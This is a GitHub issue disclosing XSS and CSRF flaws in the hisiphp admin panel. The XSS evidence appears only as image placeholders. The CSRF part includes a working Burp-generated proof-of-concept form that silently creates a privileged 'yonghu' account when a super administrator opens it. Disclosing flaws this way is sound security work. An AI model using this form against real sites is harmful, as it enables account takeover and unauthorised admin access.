Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

csrf and xss Vulnerability #3

Open
rakjong opened this issue Sep 26, 2018 · 0 comments
Open

csrf and xss Vulnerability #3

rakjong opened this issue Sep 26, 2018 · 0 comments

Comments

@rakjong
Copy link

rakjong commented Sep 26, 2018

XSS:

image

image

image

CSRF:

poc:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/hisiphp-master/hisiphp-master/admin.php/admin/user/adduser.html" method="POST">
      <input type="hidden" name="role&#95;id" value="2" />
      <input type="hidden" name="username" value="yonghu" />
      <input type="hidden" name="nick" value="yonghu" />
      <input type="hidden" name="password" value="yonghu111" />
      <input type="hidden" name="password&#95;confirm" value="yonghu111" />
      <input type="hidden" name="email" value="" />
      <input type="hidden" name="mobile" value="" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="id" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

When the super administrator accesses, a tyonghu management account will be added in the background.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant